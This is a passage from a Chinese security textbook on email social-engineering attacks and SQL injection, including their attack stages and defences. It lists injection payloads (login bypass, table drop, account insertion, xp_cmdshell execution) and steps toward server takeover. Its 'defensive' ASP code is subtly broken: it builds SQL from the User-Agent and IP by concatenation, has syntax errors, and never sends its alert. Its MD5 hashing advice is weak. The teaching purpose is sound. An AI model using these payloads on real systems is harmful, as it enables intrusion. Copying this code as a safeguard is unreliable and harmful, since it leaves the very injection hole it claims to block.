社会工程学(Social Engineering)是把对物的研究方法全盘运用到对人本身的研究上,并将其变成技术控制的工具。社会工程学是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段而取得自身利益的方法。

2.社会工程学攻击

社会工程学攻击就是利用人们的心理特征,骗取用户的信任,获取机密信息、系统设置等不公开资料,为黑客攻击和病毒感染创造有利条件。网络安全技术发展到一定程度后,起决定作用的不再是技术问题,而是人和管理。网络安全往往容易被入侵者从内部攻破,而利用社会工程学进行网络攻击,有点像电影或者小说中的“卧底”,在获取足够有用的信息后成功攻破网络。由于安全产品的技术越来越完善,使用这些技术的人就成为整个环型中最为脆弱的部分,加之人类具有贪婪、自私、好奇、信任等心理弱点,因此,通过恰当的方法和方式,入侵者完全可以从相关人员那里获取入侵所需的信息。一旦掌握了社会工程学理论,就可以获取正常的访问权限;再结合一些网络攻击手段,就可以很容易地攻破一个网络——不管系统的软件和硬件的配置有多高。

近年来,社会工程学攻击已成迅速上升甚至滥用的趋势,在病毒的扩展和传播过程中发挥了巨大的作用。例如,QQ尾巴病毒、爱虫蠕虫病毒、MSN病毒及钓鱼攻击等。运用社会工程学进行网络攻击,可以使网络攻击者不需要付出很大的代价就达到他们所要达到的目的,所以被越来越多的攻击者所青睐。

8.6.2 常见的电子邮件社会工程学攻击方法

通过电子邮件进行攻击的常见手法主要有5种,分别是伪造邮件地址或者信任关系攻击、人性心理弱点攻击、恶意攻击、0day攻击和跨站攻击。

1.伪造邮件地址或者信任关系攻击

伪造攻击主要通过事先收集被攻击对象的各种信息,特别是有电子邮件往来的各种信息,然后假冒“信任”的联系人给被攻击对象发送邮件,被攻击者收到邮件后,看到是“信任”的关系,因此不加怀疑地直接打开邮件附件,或者回复攻击者想获取的信息。伪造攻击需要构造发件人地址。目前,网上有一些邮件发送工具,通过简单的设置即可发送电子邮件。收件人收到的伪造邮件与真实的邮件并无太多区别,普通用户很难防范。

2.人性心理弱点攻击

心理弱点攻击是电子邮件社会工程学攻击最主要的手法之一,该攻击方法利用电子邮件夹带恶意程序或恶意链接进行攻击,运用各种人性弱点吸引使用者开启问题邮件,问题邮件通常与被攻击者的兴趣有关,利用人的贪心等使被攻击对象无法对问题邮件免疫。这种攻击方法需要对人性的弱点有比较深入的了解和分析。

3.恶意攻击

攻击者通过发送捆绑木马的附件或者链接地址(链接地址往往带有挂马功能),诱使用户打开附件或者访问恶意构建的网页,从而感染病毒。

4.0day攻击

只要是软件,就可能存在有漏洞,未能及时修补就可能遭到利用并被入侵。在软件漏洞点修补前出现的针对该漏洞的攻击行为称为零时差攻击(0day攻击)。在软件漏洞更新补丁程序发布后的n 天,利用用户还未修补的软件漏洞进行攻击,称为nday攻击。

0day攻击是最难防范的攻击。攻击者通过0day交易渠道或者自己挖掘0day,掌握了一些文件格式的未公开漏洞,如Office系列、PDF系列、Flash系列及IE等,通过0day漏洞利用工具,将木马与0day漏洞捆绑在一起,生成一个正常格式的文件,被攻击者打开该文件后即感染木马或者执行指定的可执行文件。0day攻击是最具有杀伤力的。nday攻击通过对攻击程序进行免杀处理来对用户进行攻击。

5.电子邮件跨站攻击

跨站攻击,即“Cross Site Script Execution”(通常简写为“XSS”),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上的、能够对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种操作或者对访问者进行病毒侵害的一种攻击方式。跨站攻击是电子邮件攻击中威力最大的一种。攻击者通过对被攻击者电子邮件服务器所使用的系统进行研究,发现电子邮件服务器系统存在的各种跨站漏洞,然后将跨站漏洞利用代码嵌入富文本的邮件内容中,通过网页或者特定电子邮件发送软件,将构造好的邮件发送给被攻击者。被攻击对象查看电子邮件时执行跨站代码,会要求重新输入用户名和密码。攻击者通过事先构造好的电子邮件登录页面截获用户名和密码,然后将用户名和密码重新定向到真实的电子邮件地址,从而获取电子邮箱口令及Cookie等信息。获取这些信息后,攻击者就可以正常登录被攻击者的电子邮箱了。

8.6.3 电子邮件社会工程学的攻击步骤

电子邮件社会工程学攻击的步骤在工作原理上与普通的网络渗透流程基本类似,归纳如下。

1.信息收集

在实施攻击前需要充分了解被攻击对象的各种信息,如职业、性别、年龄、爱好等,尤其需要掌握其个人邮件地址信息。

2.攻击前的测试准备

攻击前需要对木马程序进行免杀测试,对漏洞利用工具的各种攻击场景进行实际测试,查看漏洞被攻击后的实际效果。如果存在漏洞,但电子邮件被打开后却没有按照预期执行攻击,说明程序利用上存在问题。同时,还需要申请发送邮件时使用的电子邮件账号,通过模拟攻击对象的电子邮箱进行邮件发送测试,防止邮件不能通过邮件服务器安全策略被当成垃圾邮件处理的情况发生。

3.实施攻击

通过专门的邮件发送工具或者电子邮箱发送构造好的邮件。攻击的实施过程比较简单,准备好邮件内容和附件即可。

4.进行控制

收件人打开电子邮件,感染木马病毒。计算机被控制后,可以对控制计算机进行读取磁盘文件、下载数据、安装键盘记录等操作,以长期控制计算机。如果该计算机与内部网络相连,还可以将该计算机作为跳板,对内部网络实施攻击。

8.6.4 电子邮件社会工程学攻击的防范方法

下面我们从技术和安全意识这两个方面探讨电子邮件社会工程学攻击的防范方法。

1.技术方面的防范

(1)安装杀毒软件和防火墙等安全防范软件

操作系统安装完成后,一定要安装杀毒软件和防火墙软件。要定期养成杀毒的好习惯,对下载的邮件和软件均要进行杀毒,还要定期对系统进行杀毒。

(2)应用软件和安全防范软件更新

目前,Windows操作系统、应用软件和安全防范软件都会在一定程度上存在漏洞,如果网上已经公布了漏洞而用户未及时修补,就比较容易受到攻击。因此,需要设置Windows操作系统自动更新系统补丁,更新Adobe Reader、Flash、IE等应用软件到最新版本或者下载补丁程序,每天更新杀毒软件病毒库。

(3)使用安全的邮件查看技术

在虚拟机中查看邮件,即使用目前的虚拟机技术,通过在物理机上安装VMware Workstation重新安装一个操作系统,所有邮件的查看操作均在虚拟机中进行,查看前要做快照,邮件处理完毕再使用快照恢复,这样,即使系统感染木马,也不会影响实体机。使用不同的邮件查看软件时,应尽量熟悉所使用软件的基本设置,关闭自动下载图片和邮件预览功能,以纯文字方式打开邮件。

2.安全意识方面的防范

(1)警惕要求输入用户名和密码的页面

在电子邮件社会工程学攻击中,邮件跨站攻击是最常见和最有效的一种攻击方法。对这种攻击,杀毒软件基本上无能为力,只能靠个人安全意识来防范。如果某个邮件被打开后,要求我们重新输入用户名和密码,就要小心了。需要对发送邮件的用户的真实性进行验证,将收到的邮件交给本单位安全技术人员进行分析和处理,并立即修改邮箱密码。

(2)查明信件来源

对于邮件收取采取“两不看”,即“不认识发件人不看”和“来源不明的邮件不看”。对一些身份不明的邮件,要求通过手机、短信和电话进行物理确认,未经确认的一律放入黑名单或者删除。总之一句话——对于来历不明的邮件坚决不查看。

(3)抵制“诱惑”

现代社会,信息极度丰富,多看原始网页的内容,针对“朋友”发送的电子邮件,不心动、不冲动,对自己感兴趣、内容有吸引力的邮件,要验明身份,特别是带有附件的邮件,要抵制“诱惑”,慎重打开。

8.6.5 小结

表面上看,电子邮件社会工程学攻击只是简单的欺骗,但是在网络安全领域,它的攻击效果往往是最显著的,究其原因是它包含了极其复杂的心理学因素,所以比其他入侵方式更难防范。只要我们时刻提醒自己“攻击随时有可能在身边发生”,全面了解社会工程学的攻击方法和手段,具备一定的安全防范知识和防范措施,在面对社会工程学攻击的时候就能识别其真面目,处于主动地位,将遭受攻击的风险降至最低。

8.7 SQL注入攻击技术及其防范研究

在本节中,我们一起了解一下SQL注入攻击技术及其防范的相关内容。

8.7.1 SQL注入技术的定义

SQL注入(SQL Injection)技术在国外最早出现在1999年,2002年后开始大量在我国出现。目前没有SQL注入技术的标准定义,微软中国技术中心从以下两个方面进行了描述。

• 脚本注入式攻击
• 恶意用户输入,用来影响被执行的SQL脚本

Chris Anley将SQL注入定义为:攻击者通过在查询操作中插入一系列的SQL语句到应用程序中来操作数据。Stephen Kost给出了SQL注入的一个特征:从一个数据库获得未经授权的访问和直接检索。

利用SQL注入技术来实施网络攻击常称为SQL注入攻击,其本质是利用Web应用程序中输入的SQL语句的语法进行处理,针对的是Web应用程序开发者在编程过程中未对SQL语句传入的参数进行严格的检查和处理所造成的漏洞。习惯上将存在SQL注入点的程序或者网站称为SQL注入漏洞。实际上,SQL注入是存在于有数据库连接的应用程序中的一种漏洞,攻击者通过在应用程序中预先定义的查询语句的结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的查询。这类应用程序一般是基于Web的应用程序,它允许用户输入查询条件,并将查询条件嵌入SQL请求语句中,发送到与该应用程序相关联的数据库服务器中执行。通过构造一些畸形的输入,攻击者能够操作这种请求语句以获取未知的结果。

8.7.2 SQL注入攻击的特点

SQL注入攻击是当前网络攻击的主要手段之一,在一定程度上其安全风险高于缓冲区溢出漏洞,目前的防火墙尚不能对SQL注入漏洞进行有效的防范。防火墙为了使合法用户运行网络应用程序访问服务器端数据,必须允许从Internet到Web服务器的正向连接,因此,一旦网络应用程序中存在注入漏洞,攻击者就可以直接访问数据库,进而获得数据库所在的服务器的访问权。所以,在某些情况下,SQL注入攻击的风险要高于其他漏洞。

SQL注入攻击具有以下特点。

• 广泛性:SQL注入攻击利用的是SQL语法,因此,只要是利用SQL语法的Web应用程序,如果未对输入的SQL语句进行严格的处理,都有可能存在SQL注入漏洞。目前,以Active/Java Server Pages、Cold Fusion Management、PHP、Perl等技术与SQL Server、Oracle、DB2、Sybase等数据库相结合的Web应用程序均发现存在SQL注入漏洞。
• 技术难度不高:SQL注入技术公布后,网络上出现了多款SQL注入工具,如教主的HDSI、NBSI、明小子的Domain等。利用这些工具软件,攻击者可以轻易地对存在SQL注入的网站或者Web应用程序实施攻击,并最终获取计算机的控制权。
• 危害大:SQL注入攻击成功后,轻者可能更改网站首页等数据,重者可能通过网络渗透等攻击技术获取公司机密数据,造成重大的经济损失。

8.7.3 SQL注入攻击的实现原理和过程

下面分别介绍SQL注入攻击的实现原理和实现过程。

1.SQL注入攻击的实现原理

结构化查询语言(SQL)是一种用来和数据库交互的文本语言。SQL Injection就是利用某些数据库的外部接口把用户数据插入实际的数据库操作语言中,从而达到入侵数据库乃至操作系统的目的。它的产生主要是由于程序对用户输入的数据没有进行细致的过滤,导致非法数据的导入查询。

SQL注入攻击主要通过构建特殊的输入实现。这些输入往往是SQL语法中的一些组合,这些输入将作为参数传入Web应用程序,通过执行SQL语句进而执行入侵者的想要的操作。下面以登录验证中的模块为例,讲解SQL注入攻击的实现方法。

在Web应用程序的登录验证程序中,一般有用户名(username)和密码(password)两个参数,程序会通过用户输入的用户名和密码来执行授权操作,其原理是通过查找user表中的用户名(username)和密码(password)的结果进行授权访问,典型的SQL查询语句如下。



     Select * from users where username='admin' and password='smith’ 

如果分别给username和password赋值“admin' or 1=1--”和“aaa”,SQL脚本解释器中的上述语句就会变为如下形式。



     select * from users where username=’admin’ or 1=1-- and password=’aaa’

在该语句中进行了两个判断,只要一个条件成立,就会执行成功。“1=1”在逻辑判断上是恒成立的,后面的“--”表示注释,即后面所有的语句均为注释语句。同理,通过在输入参数中构建SQL语法,还可以删除数据库中的表,进行查询、插入和更新数据库中的数据等危险操作。

• jo' ; drop table authors:如果存在authors表则删除。
• ' union select sum(username) from users:从users表中查出username的个数。
• '; insert into users values(666, 'attacker', 'foobar' , 0xffff ):在user表中插入值。
• ' union select @@version,1,1,1:查询数据库的版本。
• 'exec master..xp_cmdshell'dir':通过xp_cmdshell执行dir命令。

2.SQL注入攻击的实现过程

SQL注入攻击可以手工进行,也可以通过SQL注入攻击辅助软件(如HDSI、Domain、NBSI等)进行,其实现过程可以归纳为以下5个阶段。

01 寻找SQL注入点

寻找SQL注入点的经典方法是在有参数传入的地方添加如“and 1=1”、“and 1=2”及“’”等一些特殊字符,通过浏览器返回的错误信息来判断是否存在SQL注入,如果返回错误,则表明程序未对输入的数据进行处理,绝大部分情况下都能进行注入。

02 获取和验证SQL注入点

找到SQL注入点以后,需要进行SQL注入点的判断。

03 获取信息

获取信息是SQL注入的一个关键步骤。在SQL注入中,首先需要判断存在注入点的数据库是否支持多句查询、子查询、数据库用户账号、数据库用户权限。如果用户权限为sa,且数据库中存在xp_cmdshell存储过程,则可以直接转到04步。

04 实施控制

以SQL Server 2000为例,如果实施注入攻击的数据库是SQL Server 2000,且数据库用户为sa,则可以直接添加管理员账号、开放3389远程终端服务、生成文件等。

05 间接控制

间接控制主要是指通过SQL注入点不能执行DOS等命令时,只能进行数据字段内容的猜测。在Web应用程序中,为了方便用户的维护,一般都提供了后台管理功能,其后台管理验证用户和口令都会保存在数据库中,通过猜测可以获取这些内容。如果获取的是明文口令,则可以通过后台中的上传等功能上传网页木马实施控制;如果口令是密文的,则可以通过暴力方式破解其密码。

8.7.4 SQL注入攻击的检测与防范方法

下面分别介绍SQL注入攻击的检测与防范方法。

1.SQL注入攻击的检测方法

SQL注入攻击的检测分为入侵前的检测和入侵后的检测。入侵前的检测可以通过手工方式进行,也可以使用SQL注入工具软件实现,检测的目的是预防SQL注入攻击。对于SQL注入攻击后的检测,主要是针对日志的检测,SQL注入攻击成功后,会在IIS日志和数据库中留下痕迹。

(1)数据库检查

使用HDSI、NBSI和Domain等SQL注入攻击软件工具进行SQL注入攻击后,都会在数据库中生成一些临时表。通过查看数据库中最近创建的表的结构和内容,可以判断是否发生过SQL注入攻击。

(2)IIS日志检查

如果Web服务器启用了日志记录,IIS日志会记录访问者的IP地址、访问文件等信息。SQL注入攻击往往会大量访问某个页面文件(存在SQL注入点的动态网页),日志文件会急剧增加,通过查看日志文件的大小及日志文件的内容,也可以判断是否发生了SQL注入攻击。

(3)其他相关信息判断

SQL注入攻击成功后,入侵者往往会添加用户、开放3389远程终端服务、安装木马后门等,可以通过查看系统管理员账号、远程终端服务器开启情况、系统最近日期产生的一些文件等信息来判断是否发生了入侵。

2.一般的SQL注入攻击防范方法

SQL注入攻击防范方法目前已经有很多,总结起来有下面一些。

• 在服务端正式处理之前对提交数据的合法性进行检查。
• 封装客户端提交信息。
• 替换或删除敏感字符/字符串。
• 屏蔽出错信息。
• 不要用字串连接建立SQL查询,而要使用SQL变量,因为变量不是可以执行的脚本。
• 目录最小化权限设置,给静态网页目录和动态网页目录分别设置不同的权限,尽量不给写目录权限。
• 修改或者去掉Web服务器上默认的一些危险命令,如ftp、cmd、wscript等,需要时再复制到相应目录。
• 对敏感信息进行非常规加密。在程序中对口令等敏感信息加密都是采用MD5函数进行加密,即“密文=MD5(明文)”。推荐在原来加密的基础上增加一些非常规的方式,即在MD5加密的基础上附带一些值,如“密文=MD5(MD5(明文)+123456)”。

8.7.5 SQL注入攻击的防范模型

下面介绍SQL注入攻击的防范模型。

1.SQL注入攻击防范模型

在前人提出的SQL注入攻击的检测/防御/备案模型基础上,我们进行了检测过程的优化,提出了一种SQL自动防范模型。如图8-33所示,本模型中所有的检测都在服务器端进行,首先对IP地址进行检测。如果该IP地址存在于SQL注入攻击库中,则禁止该用户的访问,并再次将相关信息添加到SQL注入攻击库中;如果用户是首次访问,则对提交字符进行检测;如果是非法字符,则检测是否达到规定的访问值;如果达到则禁止用户访问,同时发送邮件给系统管理员。本模型可以防止攻击者进行穷举攻击,并可自由设置攻击次数的上限。一旦到达上限,系统将自动向管理员发送邮件,管理员收到邮件后可以进行相应的处理,如果条件允许,还可以增加短信发送功能,增强了SQL注入攻击的自动防范能力。本模型的最大特点是自动将攻击信息及时传递给管理员,方便管理员及时响应。

图8-33 SQL注入攻击自动防范模型

核心代码如下。



     sub stopit()

       response.write "存在禁止访问 ip 地址:"&rs("ip")

       response.end

       response.redirect "noright.asp"

     end sub

     dim attack_browser,attack_ip,attack_host

     attack_browser=Request.ServerVariables("Http_User_Agent")

     attack_ip=Request.ServerVariables("ReMote_Addr")

     attack_host=Request.ServerVariables("Remote_Host")

     set rs1=server.createobject("adodb.recordset")

     '从访问禁止 IP 地址中查询是否存在访问者的 IP 地址,如果存在则禁止其访问

     sql1="select ip from prohibit_ip where ip='"&attack_ip&"'"

     rs1.open sql1,conn,1,3

     if not rs1.eof then

      call stopit()

     end if

     rs1.close

     set rs1=nothing

     '从系统防范设置中查出电子邮件地址和运行的访问次数

     set rs2=server.createobject("adodb.recordset")

     sql2="select * from D_setup"

     rs2.open sql2,conn,1,3

     if not rs2.eof then

       session("email")=rs2("email")

       session("ok_count")=rs2("ok_count")

     end if

     rs2.close

     set rs2=nothing

     url=Request.ServerVariables("Query_String")

     call chk(url)

     '从 Attack_count 表中获取 A_count 的次数,如果 A_count 次数不小于默认的访问次数则禁止

     if chk(url) then

     set rs3=server.createobject("adodb.recordset")

     sql3="select A_count from attack_count "

     rs3.open sql3,conn,1,3

     if not rs3.eof then

       if rs3("A_count")>=session("ok_count") then

           '插入攻击记录信息到 Attack_record 表中

            t1_sql1="insert  into  Attack_record(ip,Attacktime , Host , Browser)

value('"&attack_ip&"',now(),'"&attack_host&"','"&/attack_browser&"')"

           set rsdel=conn.execute(t1_sql1)

           call stopit()

         ok=Jmail(session("email"),"SQL 注入攻击告警!","攻击者 IP 地址:"& attack_ip )

       else

            temp_a_count=rs3("a_count")+1

            '插入攻击 IP 地址和 A_count 信息到 Attack_count 表中

            t1_sql2="insert  into  Attack_count(ip,A_count)

value('"&attack_ip&"','"&temp_a_count&"')"

            set rsdel=conn.execute(t1_sql2)

       end if

     end if

2.使用方法

将所有均存入文件sqlinject.asp中,只需要将该文件包含在需要防范的页面中即可。其中需要包含email.asp和conn.asp两个文件,前者主要通过Jmail组件发送电子邮件,后者是调用数据库连接,本模型的所采用的数据库是SQL Server 2000。

3.实际应用效果分析

通过实际测试,当入侵者在网页中提交的非法字符达到指定次数后,系统会自动屏蔽该IP地址对网站的访问,并将攻击IP地址、攻击时间、攻击者浏览器版本等信息写入数据库。但是,本模型存在一个缺陷:当攻击者在一个局域网时,一旦系统自动记录该地址,其他使用该IP地址的非入侵用户也无法访问网站。我们采取的折中办法是:在禁止的网页上留有电子邮件地址,如果发现是因为SQL入侵导致某个局域网(企业)不能访问网站,则可以通过删除数据库中禁止访问的IP地址的方式恢复正常访问。

本节对SQL注入攻击的方法、原理及实施过程进行了阐述和总结,并给出了一些常见的SQL注入攻击防范方法。在本节的最后,给出了一种SQL注入攻击自动防范模型,通过在实际项目中的使用,能够很好地进行主动防范,具有较高的实用价值。